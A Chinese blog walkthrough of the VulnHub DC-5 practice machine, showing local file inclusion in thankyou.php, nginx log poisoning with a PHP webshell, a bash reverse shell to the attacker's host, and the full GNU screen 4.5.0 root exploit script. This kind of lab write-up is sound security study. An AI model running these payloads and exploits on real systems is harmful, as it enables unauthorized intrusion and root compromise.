vulnhub-DC-5
vulnhub-DC-5
进入机器前
还是先端口扫描
然后对端口服务、操作系统版本扫描、漏洞扫描
80端口简单看了一下,除了一个contact.php有输入留言其他没什么交互点。
留言板没xss,一输入就跳转thankyou.php
目录扫描
没什么东西,换个工具,换字典,都没什么东西出来
看看111端口的rpcbind
先searchsploit rpcbind
全是dos脚本
上网搜一波rpcbind渗透,rpcinfo -p 192.168.57.149
msf的auxiliary/scanner/misc/sunrpc_portmapper设置好rhosts再run得到的结果都差不多
nmap 脚本扫rpcbind信息
目前没有头绪
searchsploit nginx
先找找系统版本相关的,但是感觉一般不是这个点
又回80端口,仔细看contact.php输入后,thankyou.php的url栏有参数,不过参数就是对应的输入的内容。然后发现修改参数的值,footer底部的信息变了。
想到之前目录扫描有个footer.php,访问,发现每次刷新它都会变。
猜测thankyou.php可能直接包含了footer.php
但是这里包含不知道有没有包含的点可以给我们用,而且很可能这个包含就是一个内部写好的,没有客户端可控的参数来控制。
还是没思路,跟着刚才的包含思路随便试了试?filename以及?file
发现?file=/etc/passwd是可以成功的,也就是这里我们可以通过file来控制包含的内容。
想到php://input可以执行代码,本地建了个web里面有个index.html,输入?file=http://192.168.57.1/index.html
发现allow-url-include应该是没开
而php://input利用需要allow_url_include打开(且当enctype="multipart/form-data"的时候 php://input` 是无效的)
尝试包含linux版本文件、phpinfo文件、mysql/nginx配置文件
mysql配置文件:/etc/mysql/my.cnf(因为之前/etc/passwd看到有个Mysql)
依然没有发现,现在想来端口扫描都没开3306就算拿到mysql的账户、密码也连不了。卡了......
尝试一下可不可以利用nginx的日志包含来弹shell
/var/log/nginx/
access.log error.log nginx.pid
可以包含error.log,也有输入的
尝试给日志投毒,弹shell,但是监听处没shell出来。
经过尝试只要error.log可以包含,仔细看发现除了file传入错误文件路径会被记录到日志,还要HOST信息会被记录。
抓包给host加个
包含错误日志,投毒成功:
尝试弹shell:还是http请求头的host字段加弹shell的代码,包含日志。
但是没成功,后来发现再次输入错误路径,错误日志文件没记录了,难道是每天日志有大小限制?真服了,在眼前进不去的感觉!
包含nginx配置文件,让gpt整理:
user www-data; worker_processes 4; pid /run/nginx.pid; events { worker_connections 768; } http { sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; include /etc/nginx/mime.types; default_type application/octet-stream; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_prefer_server_ciphers on; access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; gzip on; gzip_disable "msie6"; application/javascript text/xml application/xml application/xml+rss text/javascript; include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; }
没限制大小,难道是文件大小太大,默认的导致新的内容记录不进去(早知道不直接phpinfo试,该用一句话木马再phpinfo)。
重置试试
还是在host写个一句话木马,蚁剑连成功了
给kali弹个shell:
exec('/bin/bash -c "bash -i >& /dev/tcp/192.168.57.130/2345 0>&1"');
进入机器后
sudo -l
find / -perm -u=s -type f 2>/dev/null
看到个screen-4.5.0
searchspolit screen 4.5.0
看到第一个脚本
echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell
跟着脚本意思得到libhax.so、rootshell、run.sh传上去,给run.sh可执行权限
./run.sh
我这里显示
换个机器重新编译一下rootshell.c,然后就可以提权成功。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)